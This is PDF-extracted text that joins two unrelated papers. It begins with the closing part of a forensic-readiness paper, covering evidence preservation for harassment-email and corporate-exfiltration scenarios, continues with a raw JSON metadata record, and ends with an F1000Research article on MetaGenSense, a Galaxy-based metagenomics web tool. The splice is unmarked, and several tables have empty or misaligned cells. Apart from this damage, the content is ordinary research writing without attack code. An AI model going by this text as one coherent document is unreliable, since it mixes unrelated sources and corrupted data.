[https://github.com/lpasquale/KEEPER/tree/keeper_CLI](https://github.com/lpasquale/KEEPER/tree/keeper_CLI) sending of HTTP messages from an IP address and a browser agent; (iv) sending of anonymous emails from an IP address and a browser agent. The complex event indicating setting of a cookie initiates the state cookieSet for a specified email and IP address. An incident of concern is related to the receipt of harassment emails by academics. The following speculative hypotheses were constructed: h1: an email is sent to an academic by someone using an external address; h2: an anonymous email is sent by an individual who can be identified for example through the cookie and his/her browser agents; h3: an anonymous email is sent by an individual who cannot be identified. h1 is satisfied when complex event (i) takes place for which the sender email address is external and the recipient email address is owned by a university staff member. For supporting h1, the implemented specification recommended preserving all incoming IMAP/POP network traffic (SUE) related to emails sent from external addresses to an academic. h2 is satisfied when a cookie is set for a specific email and IP address, complex event (iii) takes place for which HTTP traffic originates from the same IP address with which the cookie is associated, and subsequently complex event (iv) takes places for which the IP address and the browser agent have been previously associated with outgoing HTTP traffic. For h2, the specification required preserving (a) incoming HTTP traffic adopted to set-up a cookie (SC), (b) outgoing HTTP traffic from the same address to which the cookie was set (EM) and (c) outgoing HTTP traffic to send anonymous emails (SAE). h3 is satisfied when complex event (iv) takes place. Therefore, for h3 the specification requires preserving all SAE events. Table 1 shows the total time necessary to generate a specification for each hypothesis, and the time required by each phase of the approach: histories generation (HG), specification verification (SV) and specification synthesis (SS). For each hypothesis, the number of supporting histories (out of the total number generated) and negative histories necessary to compute a specification, including the maximum length of the histories, are shown. A higher number of positive and negative histories could have been given as input to the synthesis activity without affecting the generated specification. The maximum time was taken for the most complex hypothesis (h2) which also required the provision of negative histories. ### Table 1: Performance in the harassment case study. <table> <thead> <tr> <th>Instances</th> <th>#Pos</th> <th>#Neg</th> <th>Length</th> <th>HG</th> <th>SV</th> <th>SS</th> <th>Total</th> </tr> </thead> <tbody> <tr> <td>h1</td> <td>1 / 4</td> <td>0</td> <td>1</td> <td>0</td> <td>0.01</td> <td>0.23</td> <td>0.24</td> </tr> <tr> <td>h2</td> <td>1 / 32</td> <td>4</td> <td>3</td> <td>0.08</td> <td>0.19</td> <td>39.915</td> <td>40.183</td> </tr> <tr> <td>h3</td> <td>1 / 8</td> <td>0</td> <td>1</td> <td>0.01</td> <td>0.03</td> <td>0.301</td> <td>0.341</td> </tr> </tbody> </table> We implemented the specification of a FR controller able to extract data stream from the data-set. Extracted data streams can support h2 since an incoming set-cookie message associated with jcoach@gmail.com and received by IP 192.168.015.004 was preserved. Outgoing HTTPS messages from the same IP address and associated with a Mozilla browser have also been recorded; the same browser appears to have been used to send the anonymous email. This supports our theory that our approach would preserve data that might represent relevant evidence if such an incident were to occur. This would support investigators in prioritising their efforts, while ensuring that other events related to alternative scenarios would have been preserved if such scenarios occurred. Moreover, our approach also prescribes to preserve events that might not be proactively retained by digital sources. For example, the data-set does not include events about IMAP/POP network traffic (SUE) necessary to support hypothesis h1. This might be due to the fact that network traffic was collected for a limited amount of time and was not retained. To assess minimality we compare the total number of events whose occurrence can be inferred from the data-set with those that our specification would prescribe to preserve. The full data-set includes 577,760 data streams (application level messages) exchanged in 15,508 communications between different IP addresses. The number of data streams corresponds to the total number of events that an investigator would normally have to examine. The number and type of event that our specification prescribed to preserve for each hypothesis is shown in Table 2; the total number of events is only 0.71% of the data streams in the entire data-set. Moreover, not all the events preserved were necessary to support the hypotheses. For our scenario, only 956 data streams corresponding to HTTP traffic originating from the Mozilla browser were necessary to support h2. Therefore, although our specification consistently reduces the amount of data to be analysed by an investigator, it does not completely ensure the minimality requirement since 2874 (69%) data streams were not relevant to support h2. <table> <thead> <tr> <th># Events</th> <th>SUE</th> <th>SC</th> <th>EM</th> <th>SAE</th> </tr> </thead> <tbody> <tr> <td>h1</td> <td>0</td> <td></td> <td></td> <td></td> </tr> <tr> <td>h2</td> <td>2</td> <td>300</td> <td></td> <td></td> </tr> <tr> <td>h3</td> <td>-</td> <td>-</td> <td></td> <td></td> </tr> <tr> <td>total</td> <td>4132</td> <td></td> <td></td> <td></td> </tr> </tbody> </table> We also applied our approach to a more complex corporate exfiltration scenario. The model of the environment includes the company’s employees, their email addresses, computers, employees’ access rights to computers, storage devices that could be mounted and programs that are installed on each computer. The available data-set consists of an image of the hard drive of a Windows machine. Thus, primitive events we modelled represent changes in the file system of a Window machine that can be observed from a hard drive image. These include users’ logins, mount and unmount of devices, installation of programs, and sent or received emails. Owing to space, we will not provide details of the model and the specification generated for all the hypotheses of this example and refer the reader to the project webpage. An incident of concern is related to the exfiltration of a confidential document from a company to the computer of the chief financial officer (CFO). Six hypotheses were constructed for this incident. Examples of these hypotheses are: h2: the document is sent via email to an external email address and h5: the document is copied while an external storage device is mounted. To support h2 the specification requires preserving user logins to a computer in which the document is stored and, while a user is logged, sending of emails to a non-corporate address including the confidential document attached. As h5 is equal to the hypothesis of our running example, it lead to the same preservation specification. For this 6http://digitalcorpora.org/corpora/scenarios/m57-jean incident scenario the hypotheses we modelled were more complex and a higher number of supporting and refuting histories were generated. This increased the time the approach took to learn a specification. Table 3 shows the time to generate a preservation specification for each hypothesis. We manually acquired the events identified from the computer hard drive using Autopsy [10]. These were not sufficient to support any of the hypotheses because some of the events that our approach prescribes to preserve are not retained in a computer hard drive image. For example, we cannot support hypothesis $h_2$ speculating that the document might be sent as an email attachment by an employee to a non-corporate email address. In particular, although an event in the data-set indicates that an email with the attached confidential document was sent from the cfo’s email address (jean@m57.biz) to an external address (tuckgorge@gmail.com), we cannot conclude which user was logged on the machine since the data-set only provides information about the last user login. A similar situation arises with hypothesis $h_5$ speculating that the document may be copied to an external device, because mounting of a storage device and copy of a file are events that are not retained. If our specification was implemented it would have ensured preservation of events necessary to support $h_2$ and $h_5$ when they occurred. Table 3: Performance in the exfiltration case study. <table> <thead> <tr> <th>Instances</th> <th>Execution time (s)</th> </tr> </thead> <tbody> <tr> <td></td> <td>#Pos</td> </tr> <tr> <td>h1</td> <td>2 / 12</td> </tr> <tr> <td>h2</td> <td>1 / 4</td> </tr> <tr> <td>h3</td> <td>4 / 18</td> </tr> <tr> <td>h4</td> <td>4 / 16</td> </tr> <tr> <td>h5</td> <td>4 / 18</td> </tr> <tr> <td>h6</td> <td>4 / 16</td> </tr> </tbody> </table> To assess minimality, Fig. 4 shows, for each hypothesis, the number of events our approach would have preserved from the hard drive image. We compared these figures with those that an investigator would have examined from the data-set (No-FR). Our approach would have resulted in significantly fewer events to be examined for hypotheses $h_1$–$h_6$. For example, to support $h_2$ it would be necessary to identify the mail clients among the installed applications (133), inspect all the outboxes associated with the accounts registered with the mail clients (23 emails for the cfo’s outbox and no emails for the Administrator outbox) and identify the users’ last login (3). We cannot claim the same for $h_5$ the generated specification requires preserving users’ last logins, mounted devices and file access operations, which are not present in the data-set. 7.2 Discussion The paper aims to ensure relevant events are preserved that may serve as evidence, thus reducing the amount of data investigators would have to search through. This is what is evaluated. The paper is not concerned with reactive investigations nor aiding open-ended investigations. We make the assumption that the speculative hypotheses of an incident are given in advance. Therefore a forensic-ready system will be prepared to investigate only the incidents known a-priori. This the assumption on which forensic readiness guidelines for organisations are based on. Training experts (e.g., system/security administrator) to identify these is part of the business requirements for implementing forensic measures [45] and is outside the scope of our work. Furthermore, as the environment and the speculative hypotheses are expected to be known a-priori, there is a risk that this knowledge can be used to thwart the forensic-ready system itself—an individual might adjust her behaviour to avoid preservation of events indicating her involvement in an offense. Thus, applications of our approach would require maintenance of confidentiality of the system specification. The performance of our approach decreases when ‘richer’ positive and negative histories are used [5] (a saturation point is reached for 18 histories). This is caused by the increase in the EC model size when grounded. The time taken to synthesise a specification increases linearly with the length of the considered preservation histories. A saturation point is reached with histories having length 11. Note that the scalability results purely depend on the open-source prototype tool used to support the specification synthesis. This could be significantly improved by deploying learning techniques for context-dependent learning [32], and distributed reasoning [34]. To show that our formalisation could yield a practical solution, we provide a proof-of-concept implementation, putting aside usability issues. The definition of the model of the environment and the hypotheses of the university harrassment and the corporate exfiltration scenarios required 2 and 3.5 days of work, respectively, to one of the paper’s authors. We are developing a graphical interface that would mask the complexity of the formal specification and help practitioners represent potential incidents and how they may occur in the environment. Such graphical interface is based on the model-driven engineering principle to hide the complexity of the EC language used to represent the environment and hypotheses within a model. A model-based representation has the potential to ensure correctness of the models by-design and encourage re-usability of the environment and hypotheses among experts. 8 RELATED WORK Existing research on forensic readiness has mainly focused on identifying high-level strategies which organisations can implement to be forensic-ready. For example, Elyas et al. [15] use focus groups to elicit required forensic readiness objectives (e.g., regulatory compliance, legal evidence management) and capabilities (organisational factors and forensic strategy). Reddy and Venter [42] present a forensic readiness management system taking into account event --- https://github.com/stefano-bragaglia/XHAIL analysis capabilities, domain-specific information (e.g., policies procedures and training requirements), and costs (e.g., staff, infrastructure and training costs). However, none of these approaches has addressed the problem of how to implement forensic readiness in existing IT systems—inspite of the standardisation of forensic readiness processes (ISO/IEC 27043:2015) which prescribes the planning and implementation of pre-incident collection and analysis of evidence activities. Shield et al. [48] propose performing continuous proactive evidence preservation. However, in large scale environments like cloud systems, monitoring all potential evidence is not a viable solution, as it might be cumbersome to analyse. Pasquale et al. [37] propose a more targeted approach, where evidence preservation activities aim to detect potential attack scenarios that can violate existing security policies. However, this approach is less selective as it prescribes to preserve any type of event within a history leading to an incident, independently of other events that have previously occurred or preserved. Existing work on data extraction for investigative purposes, such as E-Discovery [25], although supporting retrieval of data for an investigation, it does not provide a solution to engineer a forensic-ready system prescribing what data should be preserved depending on its relevance to future investigations. With the growth of digital forensics as a discipline, interest in rigorous approaches has increased. For example, Carrier [11] provides guidelines about the types of hypotheses that should be formulated and the analysis to be performed to verify these hypotheses during a digital investigation. Others [1, 8, 27, 47] have focused on providing a unified representation of heterogeneous log events to automate event reconstruction. Similar to us, all these approaches distinguish between primitive events having a direct mapping to raw log events and complex level events, which can be determined by the occurrence of primitive ones. Formal techniques have also been used to represent and analyse the behaviour of the environment in order to identify the root causes that allowed an incident to occur [50] or possible incident scenarios [23]. Other work is specialised on identifying attackers’ traces (e.g., evidence and timestamps improperly manipulated by an attacker), from violations of invariant relationships between digital objects [49] or by applying model checking techniques on a set of events expressed in a multi-sorted algebra [7]. However, none of this work addresses the problem of how hypotheses can be expressed formally, how they relate to sequences of primitive and complex events supporting them and how to achieve preservation requirements. The requirements engineering community [26, 33, 53, 55] proposed numerous techniques for modelling security and privacy requirements to enable the design of systems less vulnerable to potential attacks and privacy breaches. However, only preliminary attempts have been made towards engineering forensic-ready systems [6, 38] and investigating how forensic-readiness requirements are considered during systems development lifecycles [24]. Although preservation requirements can be considered as a specific type of monitoring requirements [17, 18, 44, 46], the nature of the specifications for forensic-ready systems is different in its scope (environment and hypotheses) and characteristics. These are aspects that have not been covered in previous work. Recent studies in program analysis, such as [19, 57], have highlighted the importance of providing software developers with automated support in making logging decisions and difficulty in constructing specifications to guide logging behaviour. In [57] for instance, the authors present a method for learning what and when to log from past logs of software developers. This differs conceptually from what we present here since incident-related histories are domain specific, showing how particular hypotheses may be met within particular environments. For forensic-ready systems, justification of preservations need to be made explicit and in readable form, which is supported by the learning technique that we deploy. We believe however that our approach could help software developers in making informed decisions and insights on what logs to preserve to enhance forensic-readiness of systems. Closest to our work with in a forensic setting is that of [3, 30]. However [3] focuses on defining “ideal” logging preferences for databases that is independent of the incidents of concern and hence still poses a risk of inadequate logging. The work of [30] instead is limited to eliciting from natural language descriptions of software artefacts the set events (as verb-object pairs) and an empirical classification of such events to determine logging requirements. 9 CONCLUSION This paper represents a first step towards a rigorous approach to developing forensic-ready systems. We defined a framework for formalising evidence preservation requirements of such systems. We use this to synthesise specifications that guarantee a minimal amount of data, constituting potentially relevant evidence to support given speculative hypotheses of incidents of concern, is preserved. We also provided a proof-of-concept implementation that has been evaluated on two incident scenarios. Our results demonstrate that our approach preserves relevant events and provides insight into whether existing software/devices have the necessary capabilities for preserving evidence. Moreover, the size of preserved data is smaller than what would have been examined during an investigation otherwise. Our approach does not propose replacing the role of engineers nor investigators. It also assumes that domain experts are involved in modelling the environment and selecting the relevant histories to be covered by the preservation specifications. In the future, we plan to investigate how our approach may be adapted to dynamic situations at run-time in which environments and hypotheses may change over time. We are developing a graphical designer aimed to facilitate the practitioners’ task of designing the model of the environment and generation of hypotheses. Finally when generating a preservation specification, we will consider systematic approaches for synthesis when conflicts with other requirements, such as legal requirements, are present which may forbid preserving relevant data for privacy reasons. ACKNOWLEDGEMENTS This work is supported by ERC Advanced Grant no. 291652 (ASAP), SFI Grants 10/CE/I1855, 13/RC/2094 and 15/SIRG/3501, and the Imperial College Research Fellowship. On Evidence Preservation Requirements for Forensic-Ready Systems ESEC/FSE’17, September 4–8, 2017, Paderborn, Germany REFERENCES
{"Source-Url": "http://oro.open.ac.uk/50894/7/50894.pdf", "len_cl100k_base": 14095, "olmocr-version": "0.1.50", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 45623, "total-output-tokens": 18264, "length": "2e13", "weborganizer": {"__label__adult": 0.0012226104736328125, "__label__art_design": 0.0013170242309570312, "__label__crime_law": 0.039306640625, "__label__education_jobs": 0.011199951171875, "__label__entertainment": 0.00035643577575683594, "__label__fashion_beauty": 0.0005550384521484375, "__label__finance_business": 0.0011014938354492188, "__label__food_dining": 0.0006761550903320312, "__label__games": 0.0034008026123046875, "__label__hardware": 0.0030956268310546875, "__label__health": 0.0014362335205078125, "__label__history": 0.0013284683227539062, "__label__home_hobbies": 0.0003151893615722656, "__label__industrial": 0.0013723373413085938, "__label__literature": 0.0016965866088867188, "__label__politics": 0.0013399124145507812, "__label__religion": 0.0007662773132324219, "__label__science_tech": 0.2047119140625, "__label__social_life": 0.0003676414489746094, "__label__software": 0.040069580078125, "__label__software_dev": 0.68212890625, "__label__sports_fitness": 0.0005645751953125, "__label__transportation": 0.0014276504516601562, "__label__travel": 0.0003540515899658203}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 72168, 0.04]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 72168, 0.40194]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 72168, 0.89293]], "google_gemma-3-12b-it_contains_pii": [[0, 760, false], [760, 6239, null], [6239, 12137, null], [12137, 18670, null], [18670, 21932, null], [21932, 29614, null], [29614, 36036, null], [36036, 43575, null], [43575, 50424, null], [50424, 56608, null], [56608, 63316, null], [63316, 72168, null]], "google_gemma-3-12b-it_is_public_document": [[0, 760, true], [760, 6239, null], [6239, 12137, null], [12137, 18670, null], [18670, 21932, null], [21932, 29614, null], [29614, 36036, null], [36036, 43575, null], [43575, 50424, null], [50424, 56608, null], [56608, 63316, null], [63316, 72168, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 72168, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 72168, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 72168, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 72168, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 72168, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 72168, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 72168, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 72168, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 72168, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 72168, null]], "pdf_page_numbers": [[0, 760, 1], [760, 6239, 2], [6239, 12137, 3], [12137, 18670, 4], [18670, 21932, 5], [21932, 29614, 6], [29614, 36036, 7], [36036, 43575, 8], [43575, 50424, 9], [50424, 56608, 10], [56608, 63316, 11], [63316, 72168, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 72168, 0.07407]]}
olmocr_science_pdfs
2024-12-02
2024-12-02
e98872175b222f6a622e25e5d8c4ef6662cb49ee
SOFTWARE TOOL ARTICLE MetaGenSense: A web application for analysis and visualization of high throughput sequencing metagenomic data [version 1; referees: 2 approved with reservations, 1 not approved] Damien Correia¹, Olivia Doppelt-Azeroual², Jean-Baptiste Denis³, Mathias Vandenbogaert¹, Valérie Caro¹ ¹Pôle Génotypage des Pathogènes, Unité Environnement et Risques Infectieux, Institut Pasteur, F-75724, Paris, France ²Centre d’Informatique pour la Biologie (CIB), Institut Pasteur, F-75724, Paris, France ³Groupe Exploitation et Infrastructure, Institut Pasteur, F-75724, Paris, France Equal contributors Abstract The detection and characterization of emerging infectious agents has been a continuing public health concern. High Throughput Sequencing (HTS) or Next-Generation Sequencing (NGS) technologies have proven to be promising approaches for efficient and unbiased detection of pathogens in complex biological samples, providing access to comprehensive analyses. As NGS approaches typically yield millions of putatively representative reads per sample, efficient data management and visualization resources have become mandatory. Most usually, those resources are implemented through a dedicated Laboratory Information Management System (LIMS), solely to provide perspective regarding the available information. We developed an easily deployable web-interface, facilitating management and bioinformatics analysis of metagenomics data-samples. It was engineered to run associated and dedicated Galaxy workflows for the detection and eventually classification of pathogens. The web application allows easy interaction with existing Galaxy metagenomic workflows, facilitates the organization, exploration and aggregation of the most relevant sample-specific sequences among millions of genomic sequences, allowing them to determine their relative abundance, and associate them to the most closely related organism or pathogen. The user-friendly Django-Based interface, associates the users’ input data and its metadata through a bio-IT provided set of resources (a Galaxy instance, and both sufficient storage and grid computing power). Galaxy is used to handle and analyze the user’s input data from loading, indexing, mapping, assembly and DB-searches. Interaction between our application and Galaxy is ensured by the BioBlend library, which gives API-based access to Galaxy’s main features. Metadata about samples, runs, as well as the workflow results are stored in the LIMS. For metagenomic classification and exploration purposes, we show, as a proof of concept, that integration of intuitive exploratory tools, like Krona for representation of taxonomic classification, can be achieved very easily. In the trend of Galaxy, the interface enables the sharing of scientific results to fellow team members. **Keywords** High Throughput Sequencing, Next-Generation Sequencing, Laboratory Information Management System, Galaxy, Django This article is included in the Galaxy gateway. **Corresponding author:** Olivia Doppelt-Azeroual (olivia.doppelt@pasteur.fr) **Competing interests:** No competing interests were disclosed. **Grant information:** Damien Correia and Olivia Doppelt-Azeroual were financed by the "COMMISSARIAT A L'ENERGIE ATOMIQUE ET AUX ENERGIES ALTERNATIVES" in the scope of a national anti-terrorism fight NRBC project. *The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript.* **Copyright:** © 2015 Correia D *et al.* This is an open access article distributed under the terms of the Creative Commons Attribution Licence, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited. Data associated with the article are available under the terms of the Creative Commons Zero "No rights reserved" data waiver (CC0 1.0 Public domain dedication). **How to cite this article:** Correia D, Doppelt-Azeroual O, Denis JB *et al.* MetaGenSense: A web application for analysis and visualization of high throughput sequencing metagenomic data [version 1; referees: 2 approved with reservations, 1 not approved] *F1000Research* 2015, 4:86 (https://doi.org/10.12688/f1000research.6139.1) **First published:** 02 Apr 2015, 4:86 (https://doi.org/10.12688/f1000research.6139.1) Introduction Background HTS & metagenomics The detection and characterization of emerging infectious agents has been a continuing public health concern. High Throughput Sequencing (HTS) Next-Generation Sequencing (NGS) technologies have proven to be promising for unbiased detections of pathogens in complex biological samples. They are efficient and provide access to comprehensive analyses. In most large-scale genomic (re)sequencing initiatives involving both sequencing technology, genotyping expertise and computational analyses, the ultimate goal targets analysis of the data in a reference-free context. Depending on sufficient sequencing throughput and availability of reference genomes, raw sequence reads are to be handled by de novo assembly protocols. The choice of the most appropriate assembly algorithm will both depend on the number of sequenced DNA fragments and the genome size of the targeted species. Most well-acknowledged computational bottlenecks for those short-read assemblers concern memory footprints and difficulties in correctly handling repetitive sequences. Assembly very often results in discontinuous sequence contigs and hence insufficient genome coverage. Currently, de novo assembly yields better coverage for small genomes (i.e. bacterial and/or viral species), though assembly of genomes in a metagenomics setup is nowadays considered as complicated and very challenging. Concerning species with no reference in public databases, pre-processing steps are required to increase genome coverage. For example, the use of paired-end sequence data using different insert size libraries is a well-established technique to increase assembly scaffold sizes. Genotype calling from low coverage data may require extra steps of imputation, filling the gaps that remain due to lack of coverage, and results in more accurate genotypes. Identification of candidate haplotypes and inferring the genotype, by either “phasing” the data to known haplotypes or derivation from external reference panels, allows better characterize missing genotypes among the individuals. Bioinformatics and HTS projects Current NGS platforms including Illumina, Ion Torrent/Life Technologies, Pacific Bioscience and Nanopore can generate reads of 100–10,000 bases long allowing better coverage of the genome at lower cost. However, these platforms also generate huge amounts of raw data. For example, the raw data produced by an Illumina HiSeq-2500 platform adds up to 1TB per run. Sequencing reads are recorded as FastQ formatted files along with the corresponding quality score for each nucleotide. In addition to those sequence files, it has become important to also consider and store associated sample related metadata (collection date, location, etc.). Thus, NGS projects usually represent such a huge amount of relevant sample-specific sequences that efficient data management and visualization resources have become mandatory. The challenges accompanying HTS technologies raise the following issues: (1) How do we best manage the enormous amount of sequencing data? (2) What are the most appropriate choices among the available computational methods and analysis tools? The issue concerning the growing amount of data can be managed through a dedicated Laboratory Information Management System (LIMS), solely to organize and provide perspective regarding the information contained. The question regarding the lack of adapted intertwining among the wide spectrum of available tools, was in part filled by workflow management systems, even though it still requires fairly advanced knowledge of the tools available at hand. Indeed, today, hundreds of bioinformatics tools are available, each with specific parameters and each available either through GUI or command lines. Galaxy\(^{1,2}\), is a scientific workflow management system, which provides means to build multi-step computational data-processing, quality control, and analytic results aggregation, while additionally ensuring analysis reproducibility. In addition to a system for composing pipelines, there is a need for an adapted computational infrastructure capable of doing the processing and data storage in a scalable manner. MetaGenSense is a managing and analytical bioinformatics framework that is engineered to run dedicated Galaxy workflows for the detection and eventually classification of pathogens. It aims to integrate the capacity for large-scale genomic analysis and technical expertise in sequencing and genotyping technology among project partners. The web application was produced in order to facilitate access to high throughput sequencing analysis tools, acting as an information resource for the project and interacting research partners. This user-friendly interface has been designed to associate bio-IT provider resources (a local Galaxy instance, sufficient storage and grid computing power), with the input data to analyse and its metadata. The use of the available Galaxy tools is automated with MetaGenSense. Galaxy, as a pipeline management software, lets you define workflows and pushes the data through that pipeline. The pipeline manager ensures that all the tools in the pipeline get to run successfully, typically spreading the workload over a computational cluster. MetaGenSense is used at the Pasteur Institute to do the bulk of the data processing for a number of HTS projects, and can be adapted to launch any of the software packages available in the Galaxy workflow designer interface. A dedicated LIMS (postgresQL-based) was developed to ensure data coherence. In more detail, the web interface design is based on the Django web framework (http://www.djangoproject.com). Moreover, the communication with Galaxy is ensured by the BiobBlend library\(^3\) which provides a high-level interface for interacting with the Galaxy application, promoting faster interaction, and facilitating reuse and sharing of scripts. Software tool - implementation MetaGenSense global description MetaGenSense is a bioinformatics application that is geared to ease the scientists’ work in management of NGS project-related data and results. MetaGenSense is built upon three major components, two of which are specific to the project: a dedicated LIMS and a Django-based web user-interface. The third component is Galaxy, which is the bioinformatics workflow management system. In the following paragraphs, we describe the interface’s implementation and discuss how communication between the different parts takes place, in a smooth and user-friendly, managing web-user interface. A dedicated LIMS A LIMS can be described as a software-based laboratory that offers a set of key features that support modern laboratory operations. Those systems have become mandatory to manage the quantity of metadata related to both raw data and their analysis results, obtained through bioinformatic tools. In this project, the LIMS is based on a postgresql database. It was designed and structured with expert knowledge from biologists and bioinformaticians with sequencing competence, in order to answer their specific needs ensued by the sample management. Its main feature is that it was also designed to store interesting and worth sharing information obtained by the analysis, as well as the information about the type of workflow that was used to perform the bioinformatics treatment. The database’s schema is available in the Supplementary Figure 1. We provide here an excerpt of the existing tables (divided in three categories): (1) experimental data (LIBRARY_PREPARATION, SAMPLE, TECHNOLOGY, RUN, GEOGRAPHIC_LOCATION, GPSCOORDS), (2) bioinformatic metadata (RAW_DATA, FILE_INFORMATION, WORKFLOW_DATA, RUN_WORKFLOW, WORKFLOW), and (3) user and project data (PROJECT, PROJECT_SUBSCRIBERS, AUTH_USER). MetaGenSense Django-based web user interface Django is a high-level Python Web framework. It encourages rapid development and clean, pragmatic design. It is used by many known websites. Moreover, the python language (https://www.python.org/) has become a reference for scientific applications. MetaGenSense is divided in 4 sub-applications which are: 1) user_management, 2) lims, 3) workflow_remote, 4) analyse. Each has a specific function, and the task-partitioning has been designed to allow independent evolution of each part according to the user’s needs. 1. **user_management**: manages user authentication. Examples of implementations comprehend communication with an LDAP user authentication database, but it can be used as a user management database. 2. **lims**: ensures the organization and the data partitioning according to the selected project. A project contains sample metadata, and enables to share them only with selected. This part of the application handles sample traceability, an important component of any present-day core resource laboratory. 3. **workflow_remote**: is in charge of the communication with Galaxy. It manages: (a) the instance connection, (b) the user histories (c) the data from galaxy libraries, (d) import of data from a data library to a Galaxy user-history instance. (e) Execution of the selected galaxy workflow. This application handles data storage and links the samples to the selected workflow. In practice, this application could access any of the BioBlend functionalities. 4. **analyse**: deals with the workflow result files. The user can choose to “save” a file in order to share the results with the other users involved in the project. Large data result files can be exported using the Galaxy export functionality or can be downloaded (if the results file can be dealt with through a web browser). Communication with Galaxy The following paragraph discusses communication between MetaGenSense and Galaxy. Scientists and data-managers use Galaxy to facilitate bioinformatics analysis. A large number of XML formatted tool-configuration files have already been integrated, facilitating the execution of e.g. a mapping tool like BWA through galaxy instead of executing it using the command line. For programming purposes and in order to interact with Galaxy using command line, the Galaxy team initially implemented a Galaxy-API (which allowed, for example, retrieval of the user list of a Galaxy instance, to create a library for a specific user, etc.). However, this project was rapidly replaced by a highly dedicated and specific python library called BioBlend. This API gives access to most Galaxy functionalities through scripts and command lines. We prototyped our instances of BioBlend, and validated each task that MetaGenSense was submitting to Galaxy (Figure 1). At the time of development, specific functionalities were not fully ready to use (e.g. the Tools.run_tools function), which made us interact with the BioBlend development team for concomitant finishing and perfection of the tools and accompanying API. As mentioned earlier, the sub-application workflow_remote from the web interface uses BioBlend functionalities described in Figure 1. ![Architecture](image.png) **Figure 1.** Communication details between MetaGenSense and Galaxy using BioBlend. Data management Everything is integrated and automated except the big data management. Indeed, MetaGenSense senses when new files are copied within the exchange galaxy project directory, but those data need to be copied there using a UNIX terminal or a FileZilla-like solution (https://filezilla-project.org/). Pre-designed Galaxy workflows The MetaGenSense project was initially implemented and validated for metagenomic analyses; most of its uses concern two prototyped workflows designed to preprocess raw fastq data, analyse it and determine the taxonomy distribution within the sample. However, any other type of workflow can be associated to the MetaGenSense application. This only requires an admin user and a workflow identifier. Case study - use example We exemplify a use-case of MetaGenSense’s use through the analysis of a batch of biological samples for a dedicated project. The necessary steps to obtain a running MetaGenSense instance, with management of project data and analysis using workflows, are the following: 0/ Log onto MetaGenSense. 1/ Creation of a new project, with a name, a context, a short description and (most importantly) the other persons involved in the project. 2/ Start filling the LIMS database. Enter: a. the sample information b. the library sequencing protocol c. the run details and d. the raw data file list. The raw data will be subjected to bioinformatic analysis. 3/ At this step, the user needs to use a terminal (or a FileZilla-like tool) to connect to its transfer directory. Create a subdirectory named after the project, and copy the raw data in that directory. This protocol enables MetaGenSense to detect (Sense) the files that will be copied into the Galaxy instance and analysed. 4/ Back on the MetaGenSense GUI, the user needs to click on the “Workflows” button, and click on “import new files” button to import into Galaxy the inputs that were transferred at the previous step. 5/ Create a Galaxy history, 6/ select the workflow, 7/ select the workflow input(s), 8/ launch the analysis, 9/ follow the workflow status, 10/ At each step, the user has three choices: If the results file sizes are larger than 2 GB, they can be exported (using the native Galaxy tools), or if the file sizes are smaller than 2 GB, they can be downloaded or saved in the LIMS, be tagged as interesting and shared with other project members. 11/ Visualization of the results by clicking on the “Analyse” button. All workflow inputs as well as LIMS result files are visible on this tab. Krona’s representation can easily be visualized if stored in html files. Discussion and conclusions The technology evolution in molecular biology, especially in NGS, has moved biology into the big data era (consisting of handling data, computation requirements, efficient workflow design, and knowledge extraction). With this trend, the challenges faced by life scientists have been shifted from data acquisition to data management, processing, and knowledge extraction. While many studies have recognized the big data challenge, few systematically present approaches to tackle it. New findings in biological sciences usually come out of multi-step data pipelines (workflows). Galaxy is such a workflow-managing tool dealing with big data. However, it is still necessary to globally optimize the data flow in an overall multi-step workflow in order to eliminate unnecessary data movement and redundant computation. On the other hand, data information traceability has become an inevitable requirement in a present-day laboratory setup. In the meantime, knowledge-embedded data and workflows are expected to be an integral part of future scientific publications. We therefore, engineered MetaGenSense, a Django-based web interface which helps biologists, who are unfamiliar with the design of Galaxy workflows, to quickly obtain analysis results from HTS sequencing projects. It uses Galaxy as a workflow management software and the BioBlend API to remotely manage data upload, workflow execution as well as analysis of results. MetaGenSense covers data processing up to presentation of data and results in a genome browser compatible data format. Its main advantages encompass data handling through its incorporated LIMS, user and project handling in a cooperative context, it enables data sharing without compromising data confidentiality, it features automated workflow execution, resulting altogether in decreasing the data and analysis delivery time. MetaGenSense is available as open-source from GitHub, and can be deployed very easily. Though the prototyped tool is mainly focused on metagenomic sample analysis, its modularity allows it to be easily complemented, through project-specific Galaxy workflows, for a variety of other NGS related initiatives. Software availability Latest source code https://github.com/pgp-pasteur-fr/MetaGenSense Source code as at the time of publication https://github.com/F1000Research/MetaGenSense Archived source code as at the time of publication DOI: 10.5281/zenodo.16510 License: GPL v2 Author contributions DC, ODA, MV, JBD and VC designed and implemented the software. DC, ODA and MV wrote the manuscript. VC supervised the project, contributed to discussion and reviewed the manuscript. All authors approved the final manuscript. Competing interests No competing interests were disclosed. Grant information Damien Correia and Olivia Doppelt-Azéroual were financed by the “COMMISSARIAT A L’ENERGIE ATOMIQUE ET AUX ENERGIES ALTERNATIVES” in the scope of a national anti-terrorism fight NRBC project. I confirm that the funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript. Acknowledgements Pathoquest, CEA/DSV/IG/Genoscope, Fabien Mareuil 